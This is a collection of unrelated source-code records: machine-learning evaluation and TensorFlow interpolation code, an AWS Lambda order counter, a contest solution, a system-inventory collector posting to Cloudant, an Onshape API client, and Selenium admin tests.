torch.no_grad():\r\n\t\tCPG = model.progressive_C_msg_passing_aggregation(FCS_list,F_list,b_list)\r\n\t\tFP_list = model.progressive_C_msg_passing_distribution(Input_set,CPG)\r\n\r\n\t################# segmentation ###################\r\n\twith torch.no_grad():\t\r\n\t\tM_list = model.segmentation(FP_list)\r\n\tpd_list = []\r\n\tfor logits in M_list:\r\n\t\tlogits = F.interpolate(\r\n\t\t logits, size=(321,321), mode=\"bilinear\", align_corners=False\r\n\t\t)\r\n\t\tprobs = F.softmax(logits, dim=1)\r\n\t\tpd = torch.argmax(probs, dim=1).squeeze()\r\n\t\tpd = pd.cpu().data.numpy()\r\n\r\n\t\tpd_list.append(pd)\r\n\r\n\t################# metric #########################\r\n\tfor pd,gt in zip(pd_list,anno_list):\r\n\t\tgt = cv2.imread(gt).astype(np.float32)\r\n\t\tgt = cv2.resize(gt,(321,321))\r\n\t\tgt = gt[:,:,0]\r\n\t\tgt[gt < 128.] = 0\r\n\t\tgt[gt >=128.] = 1\r\n\r\n\t\tpreds += list(pd)\r\n\t\tgts += list(gt)\r\n\r\n\r\n\t##################visualization##################\r\n\tpd_vis_list = []\r\n\tfor i,(im,pd) in enumerate(zip(image_list,pd_list)):\r\n\t\tim = cv2.imread(im).astype(np.float32)\r\n\t\tim = cv2.resize(im,(321,321))\r\n\t\tpd_vis = vis(im,pd,0.7)\r\n\t\tpd_vis_list.append(pd_vis)\r\n\r\n\tall_pd = np.concatenate(pd_vis_list,axis = 1)\r\n\tcv2.imwrite(save_dir + '/' + one_class_name + '.png',all_pd)\r\n\r\n\tscore = scores(gts, preds, n_class=2)\r\n\tprint(one_class_name)\r\n\tprint('jaccard: ' + str(score['Class IoU'][1]))\r\n\tprint('precision: ' + str(score['Pixel Accuracy']))\r\n\tscore_list.append(score)\r\n\r\niou_list = [one['Class IoU'][1] for one in score_list]\r\nprint('mean jaccard: ' + str(sum(iou_list)/len(iou_list)))\r\n\r\npre_list = [one['Pixel Accuracy'] for one in score_list]\r\nprint('mean precision: ' + str(sum(pre_list)/len(pre_list)))\r\n","sub_path":"eval_vis_internet_group.py","file_name":"eval_vis_internet_group.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"373957289","text":"import tensorflow as tf\n\n\ndef get_linear_coords_and_factors(\n coords: tf.Tensor, name: str = \"linear_coords_and_factors\"\n):\n \"\"\"\n Get coordinates and factors used in linear interpolation.\n\n Usage:\n ```python\n corner_coords, factors = get_linear_coords_and_factors(coords)\n interped_values = gather_scale_sum(values, corner_coords, factors)\n ```\n\n Args:\n coords: (num_points, num_dims) coordinates in [0, nx], [0, ny], ...\n name: name used in name_scope\n\n Returns:\n corner_coords: (num_points, 2**num_dims, num_dims) int32 coordinates of\n nearest corners\n factors: (num_points, 2**num_dims) float weighting factors\n \"\"\"\n with tf.name_scope(name):\n coords = tf.convert_to_tensor(coords, tf.float32)\n\n shape = coords.shape\n batched = len(shape) == 3\n n_dims = shape[-1]\n shape = tf.shape(coords)\n\n if batched:\n batch_size = shape[0]\n n_points = shape[1]\n else:\n n_points = shape[0]\n batch_size = None\n\n di = tf.stack(tf.meshgrid(*([tf.range(2)] * n_dims), indexing=\"ij\"), axis=-1)\n di = tf.reshape(di, (-1, n_dims))\n\n floor_coords = tf.floor(coords)\n delta = coords - floor_coords\n floor_coords = tf.cast(floor_coords, tf.int32)\n\n floor_coords = tf.expand_dims(floor_coords, -2)\n corner_coords = floor_coords + di\n\n neg_delta = 1 - delta\n delta = tf.stack([neg_delta, delta], axis=-1)\n deltas = tf.unstack(delta, axis=-2)\n # batch-wise meshgrid - maybe map_fn instead?\n # n_dim explicit loops here, as opposed to presumably n_points?\n for i, delta in enumerate(deltas):\n deltas[i] = tf.reshape(\n delta, (-1,) + (1,) * i + (2,) + (1,) * (n_dims - i - 1)\n )\n\n factors = deltas[0]\n for d in deltas[1:]:\n factors = factors * d\n\n if batch_size is not None:\n factors = tf.reshape(factors, (batch_size, n_points, 2 ** n_dims))\n else:\n factors = tf.reshape(factors, (n_points, 2 ** n_dims))\n return corner_coords, factors\n\n\ndef fix_batched_indices_for_gather(coords):\n batch_size = tf.shape(coords)[0]\n batch_index = tf.range(batch_size, dtype=tf.int32)\n other_dims = coords.shape[1:-1]\n for _ in range(len(other_dims) + 1):\n batch_index = tf.expand_dims(batch_index, axis=-1)\n batch_index = tf.tile(batch_index, [1] + other_dims + [1])\n return tf.concat([batch_index, coords], axis=-1)\n\n\ndef fix_coords_for_gather(coords, value_rank):\n n_dim = coords.shape[-1]\n if n_dim == value_rank:\n return coords\n elif n_dim == value_rank - 1:\n return fix_batched_indices_for_gather(coords)\n else:\n raise ValueError(\n \"coords must have rank %d or %d for value_rank %d, got %d\"\n % (value_rank - 1, value_rank, value_rank, n_dim)\n )\n\n\ndef gather_scale_sum(values, coords, factors):\n \"\"\"\n Gather values at coords, scale by factors and sum.\n\n Second stage of `linear_interp`.\n\n Args:\n values: (nx, ny, ...) grid values\n coords: (num_points, 2**num_dims, num_dims) coordinates of corners\n factors: (num_points, 2**num_dims) interpolation factors\n\n Returns:\n (num_points,)\n \"\"\"\n with tf.name_scope(\"gather_scale_sum\"):\n n_dims = len(values.shape)\n coords = fix_coords_for_gather(coords, n_dims)\n corner_vals = tf.gather_nd(values, coords)\n interped_vals = tf.reduce_sum(corner_vals * factors, axis=-1)\n return interped_vals\n\n\ndef _assert_shapes_consistent(grid_vals, coords):\n n_dims = coords.shape.as_list()[-1]\n batched = len(coords.shape) == 3\n if len(grid_vals.shape) != (n_dims + batched):\n raise ValueError(\n \"Inconsistent shapes for interpolation. \\n\"\n \"grid_vals: %s, coords: %s\" % (str(grid_vals.shape), str(coords.shape))\n )\n\n\ndef linear_interp(grid_vals, coords, name=\"linear_interp\"):\n \"\"\"\n Perform linear interpolation to approximate grid_vals between indices.\n\n Args:\n grid_vals: values at grid coordinates, (n_x, n_y, ...) (n_dims of them)\n or (batch_size, n_x, n_y, ...).\n coords: coordinate values to be interpolated at, (n_points, n_dims) or\n (batch_size, n_points, n_dims).\n name: Name of operation\n\n Returns:\n (batch_size, n_points) or (n_points,) tensor of interpolated grid\n values.\n\n See also:\n `get_linear_coords_and_factors`, `gather_scale_sum`\n \"\"\"\n with tf.name_scope(name):\n grid_vals = tf.convert_to_tensor(grid_vals, tf.float32)\n coords = tf.convert_to_tensor(coords, tf.float32)\n _assert_shapes_consistent(grid_vals, coords)\n corner_coords, factors = get_linear_coords_and_factors(coords)\n interped_vals = gather_scale_sum(grid_vals, corner_coords, factors)\n\n return interped_vals\n","sub_path":"kblocks/ops/interp.py","file_name":"interp.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"300550410","text":"# Name: workflow-calc-orders\n# Version: 0.1a4\n\nfrom io import BytesIO, StringIO\nimport json\nimport os\n\nimport arrow\nimport boto3\nimport botocore\nimport pandas as pd\n\n\ndef exists_in_s3(bucket, key):\n \"\"\"Does object exist in S3 bucket\"\"\"\n\n s3 = boto3.resource('s3')\n try:\n s3.Object(bucket, key).load()\n except botocore.exceptions.ClientError as e:\n if e.response['Error']['Code'] == '404':\n return False\n else:\n msg = 'Error: {} object checking in {} S3 bucket is failed'.format(\n key, bucket)\n print(msg)\n return False\n else:\n return True\n\n\ndef lambda_handler(event, context):\n result = {}\n dst_bucket = 'korniichuk.demo'\n date = arrow.utcnow().format('YYYYMMDD')\n dst_filename = 'orders_{}.csv'.format(date)\n dst_key = 'workflow/output/{}'.format(dst_filename)\n dst = 's3://' + os.path.join(dst_bucket, dst_key)\n result['path'] = dst\n if exists_in_s3(dst_bucket, dst_key):\n return {\n 'statusCode': 200,\n 'body': json.dumps(result)\n }\n body = json.loads(event['body'])\n src = body['path']\n src_bucket = src.replace('s3://', '').split('/')[0]\n src_key = src.replace('s3://', '')[len(src_bucket)+1:]\n s3 = boto3.resource('s3')\n f = BytesIO(s3.Object(src_bucket, src_key).get()['Body'].read())\n tmp = pd.read_csv(f, parse_dates=['date'])\n tmp = tmp.groupby('email').count().sort_values('email')\n df = pd.DataFrame()\n df['email'] = tmp.index\n df['orders'] = tmp.date.values\n buff = StringIO()\n df.to_csv(buff, index=False)\n s3.Object(dst_bucket, dst_key).put(Body=buff.getvalue())\n msg = 'Orders saved to {} file'.format(dst)\n print(msg)\n return {\n 'statusCode': 200,\n 'body': json.dumps(result)\n }\n","sub_path":"workflow-aws/lambda/workflow-calc-orders/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"498341100","text":"from math import ceil\ninf = open('input.txt', 'r')\nouf = open('output.txt', 'w')\n\nt = int(inf.readline())\nfor q in range(t):\n\tb, n = map(int, inf.readline().split())\n\tm = list(map(int, inf.readline().split()))\n\tl = 0\n\tr = 10**18\n\twhile l + 1 < r:\n\t\tx = 0\n\t\tm1 = (l + r)//2\n\t\tfor i in range(b):\n\t\t\tx += ceil(m1/m[i])\n\t\tif x < n:\n\t\t\tl = m1\n\t\telse:\n\t\t\tr = m1\n\tx = 0\n\ty = 0\n\tfor i in range(b):\n\t\tx += ceil(l/m[i])\n\t\ty += ceil(r/m[i])\n\tk = n - x\n\tj = 0\n\tfor i in range(b):\n\t\tif l % m[i] == 0:\n\t\t\tj += 1\n\t\t\tif j == k:\n\t\t\t\tprint('Case #', q + 1, ': ', i + 1, sep = '', file = ouf)\n\t\t\t\tbreak\n\n\t\n\n\n\nouf.close()\n","sub_path":"solutions_5765824346324992_0/Python/Danlark/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"286723145","text":"#!/usr/bin/env python\n\nimport pycouchdb\nimport subprocess\nimport json\nimport yaml\nimport apt\nimport psutil\n\ncouch_creds = yaml.load(file('/etc/has-collector.yml'))\n\ncouch_server = pycouchdb.Server('https://{0}:{1}@opsfab.cloudant.com'.format(couch_creds[\"user\"], couch_creds[\"password\"]))\nhas_db = couch_server.database('has')\nohai_output = subprocess.check_output('ohai -d /var/lib/ohai/plugins'.split())\nohai_json = json.loads(ohai_output)\nohai_json[\"type\"] = 'OhaiOutput'\nhas_db.save(ohai_json)\n\napt.apt_pkg.init()\ncache = apt.apt_pkg.Cache()\ninstalled_pkgs_list = [pkg for pkg in cache.packages if pkg.current_state == apt.apt_pkg.CURSTATE_INSTALLED]\ninstalled_pkgs = dict()\nfor pkg in installed_pkgs_list:\n installed_pkgs[pkg.name] = { \"version\": pkg.current_ver.ver_str,\n \"arch\": pkg.current_ver.arch }\n\npackages = { \"type\": \"PackageList\",\n \"fqdn\": ohai_json[\"fqdn\"],\n \"packages\": installed_pkgs,\n \"time\": ohai_json[\"ohai_time\"],\n \"customer_name\": ohai_json[\"customer\"][\"name\"] }\n\nhas_db.save(packages)\n\nprocs = { \"type\": \"ProcessList\",\n \"fqdn\": ohai_json[\"fqdn\"],\n \"procs\": dict(),\n \"time\": ohai_json[\"ohai_time\"],\n \"customer_name\": ohai_json[\"customer\"][\"name\"] }\nfor pid in psutil.get_pid_list():\n proc = psutil.Process(pid)\n if proc.cmdline:\n procs[\"procs\"][pid] = { \"cmdline\": proc.cmdline,\n \"create_time\": proc.create_time,\n \"exe\": proc.exe }\n\nhas_db.save(procs)\n","sub_path":"files/default/has-collector.py","file_name":"has-collector.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"448081458","text":"#!/usr/bin/env pybricks-micropython\nimport gc \nimport os\nimport random\nimport string\nimport json\nimport hmac\nimport hashlib \nimport base64\nimport urllib.parse\nimport urequests\nimport utime\n\n\n\n__all__ = [\n 'Onshape'\n]\n\nclass Onshape():\n '''\n Provides access to the Onshape REST API.\n\n Attributes:\n - stack (str): Base URL\n - creds (str, default='./creds.json'): Credentials location\n - logging (bool, default=True): Turn logging on or off\n '''\n def __init__(self, stack, creds = '/home/robot/microPython_Onshape/creds.json', logging = True):\n '''\n Create the request signature to authenticate\n\n Args:\n - method (str): HTTP method\n - date (str): HTTP date header string\n - nonce (str): Cryptographic nonce\n - path (str): URL pathname\n - query (dict, default={}): URL query string in key-value pairs\n - ctype (str, default='application/json'): HTTP Content-Type\n '''\n \n try:\n f = open(creds, \"r\")\n except OSError:\n raise IOError('%s is not a file' % creds)\n\n\n with open(creds) as f:\n try:\n stacks = json.load(f)\n if stack in stacks:\n self._url = stack\n self._access_key = stacks[stack]['access_key'].encode('utf-8')\n self._secret_key = stacks[stack]['secret_key'].encode('utf-8')\n self._logging = logging\n\n\n # Testing Block\n addSpacing()\n print('CLIENT PARAMETERS:')\n print('stack: ', self._url)\n print('access key: ', self._access_key)\n print('secret key: ', self._secret_key)\n print('logging: ', self._logging)\n \n \n else:\n raise ValueError('specified stack not in file')\n except TypeError:\n raise ValueError('%s is not valid json' % creds)\n \n\n\n def _make_nonce(self):\n '''\n Generate a unique ID for the request, 25 chars in length\n\n Returns:\n - str: Cryptographic nonce\n '''\n chars = string.digits + string.ascii_letters\n nonce = ''.join(random.choice(chars) for i in range(25))\n\n\n # Testing Block\n print('NONCE GENERATED:')\n print(nonce)\n addSpacing()\n\n\n return nonce\n\n def _make_auth(self, method, date, nonce, path, query={}, ctype='application/json'):\n '''\n Create the request signature to authenticate\n\n Args:\n - method (str): HTTP method\n - date (str): HTTP date header string\n - nonce (str): Cryptographic nonce\n - path (str): URL pathname\n - query (dict, default={}): URL query string in key-value pairs\n - ctype (str, default='application/json'): HTTP Content-Type\n '''\n\n\n # Testing Block\n query = urllib.parse.urlencode(query)\n print('QUERY:')\n print(query)\n addSpacing()\n\n\n hmac_str = (method + '\\n' + nonce + '\\n' + date + '\\n' + ctype + '\\n' + path +\n '\\n' + query + '\\n').lower().encode('utf-8')\n\n \n # Testing Block\n print('HMAC:')\n print(hmac_str)\n addSpacing()\n\n\n signature = base64.b64encode(hmac.new(self._secret_key, hmac_str, digestmod=hashlib._sha256.sha256).digest())\n \n \n # Testing Block\n print('SIGNATURE: ')\n print(signature)\n addSpacing()\n\n\n auth = 'On ' + self._access_key.decode('utf-8') + ':HmacSHA256:' + signature.decode('utf-8')\n\n return auth\n\n def _make_headers(self, method, path, query={}, headers={}): \n '''\n Creates a headers object to sign the request\n\n Args:\n - method (str): HTTP method\n - path (str): Request path, e.g. /api/documents. No query string\n - query (dict, default={}): Query string in key-value format\n - headers (dict, default={}): Other headers to pass in\n\n Returns:\n - dict: Dictionary containing all headers\n '''\n \n date = self.getCurrentTime()\n\n\n\n # Testing Block \n print('TIMESTAMP GENERATED:')\n print(date)\n addSpacing()\n\n\n\n nonce = self._make_nonce()\n ctype = headers.get('Content-Type') if headers.get('Content-Type') else 'application/json'\n\n # Testing Block\n print('CTYPE:')\n print(ctype)\n addSpacing()\n\n auth = self._make_auth(method, date, nonce, path, query=query, ctype=ctype)\n\n print('AUTH:')\n print(auth)\n addSpacing()\n\n req_headers = {\n 'Content-Type': 'application/json',\n 'Date': date,\n 'On-Nonce': nonce,\n 'Authorization': auth,\n 'User-Agent': 'Onshape Python Sample App',\n 'Accept': 'application/json'\n }\n\n # add in user-defined headers\n for h in headers:\n req_headers[h] = headers[h]\n\n\n # Testing Block\n print('REQ_HEADERS:')\n print(req_headers)\n addSpacing()\n\n return req_headers\n\n def request(self, method, path, query={}, headers={}, body={}, base_url=None):\n '''\n Issues a request to Onshape\n\n Args:\n - method (str): HTTP method\n - path (str): Path e.g. /api/documents/:id\n - query (dict, default={}): Query params in key-value pairs\n - headers (dict, default={}): Key-value pairs of headers\n - body (dict, default={}): Body for POST request\n - base_url (str, default=None): Host, including scheme and port (if different from creds file)\n\n Returns:\n - requests.Response: Object containing the response from Onshape\n '''\n\n req_headers = self._make_headers(method, path, query, headers) \n if base_url is None:\n base_url = self._url\n url = base_url + path + '?' + urllib.parse.urlencode(query)\n \n\n # Testing Block\n print('URL:')\n print(url)\n addSpacing()\n\n\n body = json.dumps(body) if type(body) == dict else body\n\n\n # Testing Block\n print('BODY')\n print(body)\n addSpacing()\n\n\n res = urequests.get(url, headers=req_headers, data=body)\n return res\n\n def getCurrentTime(self):\n months = {1:'Jan', 2:'Feb', 3:'Mar', 4:'Apr', 5:'May', 6:'Jun', 7:'Jul', 8:'Aug', 9:'Sep', 10:'Oct', 11:'Nov', 12:'Dec'}\n weekdays = {0:'Mon', 1:'Tue', 2:'Wed', 3:'Thu', 4:'Fri', 5:'Sat', 6:'Sun'}\n singleDig = { 1:'01', 2:'02', 3:'03', 4:'04', 5:'05', 6:'06', 7:'07', 8:'08', 9:'09'}\n time = utime.localtime()\n convTime = time[2]\n convTime2 = time[3]\n convTime3 = time[4]\n convTime4 = time[5]\n if time[2] in singleDig:\n convTime = singleDig[time[2]]\n if time[3] in singleDig:\n convTime2 = singleDig[time[3]]\n if time[4] in singleDig:\n convTime3 = singleDig[time[4]]\n if time[5] in singleDig:\n convTime4 = singleDig[time[5]]\n curTime = weekdays[time[6]] +', ' + str(convTime) + \" \" + months[time[1]] + ' ' + str(time[0]) + \" \" + str(convTime2) + \":\" + str(convTime3) + \":\" + str(convTime4) + ' GMT'\n return curTime\n\n\n'''\nTesting Below\n'''\n\ndef addSpacing():\n print('------------------------------------')\n print('')\n print('')\n print('------------------------------------')\n\nbase_url = 'https://rogers.onshape.com'\n\ntest = Onshape(base_url,logging=False)\naddSpacing()\nprint('CREATED THE ONSHAPE OBJECT!')\naddSpacing()\n\n\ndid = '2696c6465ac59aff8ca3dfc1'\nwid = 'be80594917e5b1877e38d94e'\neid = 'bd2b08bfd9046a3e25896bf3'\n\n\nheaders = {'Accept': 'applicaton/vnd.onshape.v1+json', 'Content-Type': 'application/json'}\n\n\nr = test.request('GET', path = '/api/partstudios/d/2696c6465ac59aff8ca3dfc1/w/be80594917e5b1877e38d94e/e/8b59dcfebfc34d65d9a48a0b/features', query = {}, body = {}, headers = headers)\n\nx = json.loads(r.data)\nprint(json.dumps(x, indent=4))","sub_path":"micropython_OnshapeAPI/onshape.py","file_name":"onshape.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"92672280","text":"import pyautogui\nfrom selenium import webdriver\nimport openpyxl\n\nclass scraping():\n\n def __init__(self, keyword=None, site=None):\n self.keyword = keyword\n self.site = site\n\n def view_print(self):\n print(self.keyword + \" : \" + self.site)\n\n def scrap_use_selenium(self):\n\n driver = webdriver.Chrome()\n \n if self.site == '네이버' :\n url = 'https://www.naver.com'\n elif self.site == '구글' :\n url = 'https://www.google.com'\n elif self.site == '다음' :\n url = 'https://www.daum.net'\n\n driver.get(url)\n\n def run(self):\n self.scrap_use_selenium()","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"216697898","text":"import glob\nimport gzip\nfrom sys import argv\nimport os\nimport re\n\nresults_dir = argv[1]\nout_dir = 'Merged_Results'\nif not os.path.exists(out_dir):\n os.mkdir(out_dir)\nout_dir = os.path.join(out_dir, results_dir)\nif not os.path.exists(out_dir):\n os.mkdir(out_dir)\n\nmetrics = os.path.join(out_dir, 'Metrics.tsv.gz')\nauroc = os.path.join(out_dir, 'Metrics_AUROC.tsv.gz')\nmetric_files = glob.glob('{}/*/*/iteration*/*/Metrics.tsv'.format(results_dir))\nheader = 'DatasetID\\tClass\\tIteration\\tClassifAlgoGroup\\tMetric\\tValue\\tClassificationAlgorithm\\n'\nwith gzip.open(metrics, 'wb') as fp:\n with gzip.open(auroc, 'wb') as fp2:\n fp.write(header.encode())\n fp2.write(header.encode())\n for file in metric_files:\n with open(file) as content:\n content.readline()\n for line in content:\n data = line.rstrip('\\n').split('\\t')\n classifier = data[0].split('___')\n dataset_id = classifier[0]\n label = classifier[1]\n iteration = classifier[2].replace('iteration', '')\n classif_algo_group = 'keras/{}'.format(data[2].split('/')[4])\n params = re.sub(r'^[^_]*__[^_]*__[^_]*__', '', file.split('/')[-2])\n classification_algorithm = '{}/{}'.format(classif_algo_group, params)\n metric = data[3]\n value = data[4]\n fp.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(dataset_id, label, iteration, classif_algo_group,\n metric, value, classification_algorithm).encode())\n if metric == 'AUROC':\n fp2.write(\n '{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(dataset_id, label, iteration, classif_algo_group,\n metric, value, classification_algorithm).encode())\n\nnested_metrics = os.path.join(out_dir, 'Nested_Metrics.tsv.gz')\nnested_auroc = os.path.join(out_dir, 'Nested_Metrics_AUROC.tsv.gz')\nnested_metric_files = glob.glob('{}/*/*/iteration*/*/Nested_Metrics.tsv'.format(results_dir))\nnested_header = 'DatasetID\\tClass\\tOuterIteration\\tInnerIteration\\tClassificationAlgorithm\\tMetric\\tValue\\n'\nwith gzip.open(nested_metrics, 'wb') as fp:\n with gzip.open(nested_auroc, 'wb') as fp2:\n fp.write(nested_header.encode())\n fp2.write(nested_header.encode())\n for file in nested_metric_files:\n with open(file) as content:\n content.readline()\n for line in content:\n data = line.rstrip('\\n').split('\\t')\n classifier = data[0].split('___')\n dataset_id = classifier[0]\n label = classifier[1]\n outer_iteration = classifier[2].replace('iteration', '')\n inner_iteration = data[2]\n params = re.sub(r'^[^_]*__[^_]*__[^_]*__', '', file.split('/')[-2])\n classification_algorithm = 'keras/{}/{}'.format(data[3].split('/')[4], params)\n metric = data[4]\n value = data[5]\n fp.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(dataset_id, label, outer_iteration, inner_iteration,\n classification_algorithm, metric, value).encode())\n if metric == 'AUROC':\n fp2.write(\n '{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(dataset_id, label, outer_iteration, inner_iteration,\n classification_algorithm, metric, value).encode())\n\nauroc_best = os.path.join(out_dir, 'Metrics_AUROC_Best.tsv.gz')\nos.system('Rscript --vanilla SelectBestInnerResults_Classification.R {} {} {}'.format(nested_auroc, auroc, auroc_best))\n","sub_path":"gather_metrics.py","file_name":"gather_metrics.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"191105482","text":"from datetime import datetime, timedelta\nfrom time import sleep\n\nfrom djangosanetesting import SeleniumTestCase\n\n__all__ = (\"NewmanTestCase\", \"DateTimeAssert\")\n\nclass FormAssertSpec(object):\n \"\"\"\n Interface for form assertion specification.\n Overwrite is_equal for more sophisticated methods in assert_form\n \"\"\"\n def __init__(self, expected_value, value_function_name=\"get_value\"):\n super(FormAssertSpec, self).__init__()\n self.expected_value = expected_value\n self.value_function_name = value_function_name\n\n def is_equal(self, retrieved_value):\n return retrieved_value == self.expected_value\n\n#class RegexpAssert(FormAssertSpec):\n# def is_equal(self, retrieved_value):\n# return re.match(self.expected_value, retrieved_value)\n\nclass DateTimeAssert(FormAssertSpec):\n \"\"\"\n When datetime is autogenerated on client, submitted and asserted, we're in\n unfortunate situation when we have not-synced time.\n So we'll do fuzzy matching: dates are equal, if difference between them is\n less then allowed_delta (default to half minute).\n \"\"\"\n def __init__(self, expected_value, value_function_name=\"get_value\",\n date_format=\"%Y-%m-%d %H:%M\", allowed_delta=None):\n super(DateTimeAssert, self).__init__(expected_value, value_function_name)\n\n self.date_format = date_format\n self.allowed_delta = allowed_delta or timedelta(minutes=1)\n\n def is_equal(self, retrieved_value):\n retrieved_time = datetime.strptime(retrieved_value, self.date_format)\n\n if retrieved_time > self.expected_value:\n return (retrieved_time - self.expected_value) <= self.allowed_delta\n\n else:\n return (self.expected_value - retrieved_time) <= self.allowed_delta\n\n\nclass NewmanTestCase(SeleniumTestCase):\n fixtures = ['newman_admin_user', 'example_data']\n\n USER_USERNAME = u\"superman\"\n USER_PASSWORD = u\"xxx\"\n\n NEWMAN_URI = \"/newman/\"\n\n def __init__(self):\n super(NewmanTestCase, self).__init__()\n self.elements = {\n 'navigation' : {\n 'logout' : \"//a[@class='icn logout']\",\n 'categories' : \"//a[@id='topnav-core-category']\",\n# 'categories' : \"//ul[@id='menu-top']/li[3]/ul/li[2]/a\",\n #'categories_add' : \"//a[@class='app category']/../a[position()=2]\",\n 'articles' : \"//a[@class='app article']\",\n 'article_add' : \"//a[@class='app article']/../a[position()=2]\",\n 'galleries' : \"//a[@class='app gallery']\",\n 'gallery_add' : \"//a[@class='app gallery']/../a[position()=2]\",\n 'surveys' : \"//a[@class='app survey']\",\n 'survey_add' : \"//a[@class='app survey']/../a[position()=2]\",\n },\n 'controls' : {\n 'suggester' : \"//div[@class='suggest-bubble']\",\n 'suggester_visible' : \"//span[@class='hilite']\",\n 'suggester_selected' : \"//input[@id='id_%(field)s']/../ul/li[@class='suggest-selected-item']\",\n 'message' : {\n 'ok': \"//div[@id='opmsg']/span[@class='okmsg']\",\n },\n 'add' : \"//a[@class='js-hashadr icn btn add']\",\n 'save' : \"//a[@class='js-submit icn btn save def default-button-ok']\",\n 'save_draft' : \"//a[@class='icn btn save'][@id='save-form']\",\n 'combobox_drafts': \"//select[@id='id_drafts']\",\n 'popup_ok' : \"//input[@id='popup_ok']\",\n 'help' : \"//a[@class='icn btn help js-simpleload']\",\n 'show_filters' : \"//div[@id='filters-handler']/a[position()=1]\",\n 'lookup_content' : \"//div[@id='changelist']/form/table/tbody/tr/th/a[text()='%(text)s']\",\n 'search_button' : \"//a[@class='btn icn search def']\",\n 'paginator_top' : \"//div[@id='changelist']/form/p[1]\",\n 'overlay': \"//div[@id='overlay-content-main']/div[@id='changelist']/form[@class='js-form js-dyn-adr']/table\",\n 'message_bubble' : \"//div[@id='opmsg']/span\",\n 'placement_default_category_button': \"//a[@class='icn btn addfav js-placement-main-category']\",\n },\n 'pages' : {\n 'login' : {\n 'submit' : \"//input[@type='submit']\"\n },\n 'listing' : {\n 'first_object' : \"//div[@id='changelist']/form/table/tbody/tr[position()='1']\",\n 'object' : \"//div[@id='changelist']/form/table/tbody/tr[position()='%(position)s']\",\n 'object_href' : \"//div[@id='changelist']/form/table/tbody/tr[position()='%(position)s']/th/a[position()=%(a_position)d]\",\n 'datepicker' : \"//td[@class='%(field)s']/span[@class='js-dtpicker-trigger']\",\n 'calendar_day' : \"//table[@class='ui-datepicker-calendar']/tbody/tr/td/a[text()='%(day)s']\",\n },\n 'gallery': {\n 'item': \"//div[@class='gallery-item']/a[@id='%(id)s']\",\n 'item_input': \"//div[@class='gallery-item']/descendant::*/input[@id='%(id)s']\",\n }\n }\n }\n\n def setUp(self):\n super(NewmanTestCase, self).setUp()\n self.login()\n\n def login(self):\n self.selenium.open(self.NEWMAN_URI)\n self.selenium.type(\"id_username\", self.USER_USERNAME)\n self.selenium.type(\"id_password\", self.USER_PASSWORD)\n self.selenium.click(self.elements['pages']['login']['submit'])\n self.selenium.wait_for_page_to_load(30000)\n # give javascript time to settle\n sleep(0.2)\n\n def logout(self):\n self.selenium.click(self.elements['navigation']['logout'])\n # we should be on login page\n self.selenium.wait_for_element_present('id_username')\n\n def tearDown(self):\n self.logout()\n super(NewmanTestCase, self).tearDown()\n\n\n def get_listing_object(self, position=1):\n return self.elements['pages']['listing']['object'] % {\n 'position' : position\n }\n\n def get_listing_object_href(self, position=1, a_element_position=2):\n return self.elements['pages']['listing']['object_href'] % {\n 'position' : position,\n 'a_position': a_element_position\n }\n\n def fill_fields(self, data):\n s = self.selenium\n for key, value in data.items():\n s.type('id_%s' % key, value)\n\n def fill_suggest_fields(self, suggest_data):\n s = self.selenium\n for key, values in suggest_data.items():\n for value in values:\n id = 'id_%s_suggest' % key\n s.click(id)\n s.type(id, value)\n s.click(id)\n s.wait_for_element_present(self.elements['controls']['suggester_visible'])\n s.click(self.elements['controls']['suggester_visible'])\n\n def fill_calendar_fields(self, calendar_data):\n \"\"\"\n Select date from calendars. Calendar_data is dict in form of {\n \"field\" : {\n \"day\" : int,\n }\n }, where day of the current month is selected.\n (support for other fields is TODO)\n \"\"\"\n s = self.selenium\n for field in calendar_data:\n # click on calendar button\n xpath = self.elements['pages']['listing']['datepicker'] % {\n \"field\" : field\n }\n s.click(xpath)\n\n # chose the current date\n xpath = self.elements['pages']['listing']['calendar_day'] % {\n \"day\" : calendar_data[field]['day']\n }\n s.click(xpath)\n\n\n def fill_using_lookup(self, data):\n \"\"\"\n Fill data using \"magnifier\".\n @param data is dictionary of fields and values, in form:\n {\n \"field\" : \"value\",\n }\n where field is name of field magnifier is bound to and value is a content of the element from the list\n \"\"\"\n s = self.selenium\n for field in data:\n xpath = \"lookup_id_%s\" % field\n s.click(xpath)\n s.click(self.elements['controls']['lookup_content'] % {'text' : data[field]})\n\n def save_form(self):\n s = self.selenium\n s.click(self.elements['controls']['save'])\n s.wait_for_element_present(self.elements['controls']['message']['ok'])\n\n def get_formatted_form_errors(self, errors):\n messages = []\n for field in errors:\n expected = errors[field]['expected']\n retrieved = errors[field]['retrieved']\n\n if isinstance(expected, list):\n expected = u\"\".join(expected)\n\n if isinstance(retrieved, list):\n retrieved = u\"\".join(retrieved)\n\n messages.append(\"Form validation for field %(field)s was expecting %(expected)s, but got %(retrieved)s\" % {\n 'field' : field,\n 'expected' : expected,\n 'retrieved' : retrieved,\n })\n\n return u'\\n'.join(messages).encode('utf-8')\n\n def add_error(self, errors, field, expected, retrieved):\n errors[field] = {\n 'expected' : 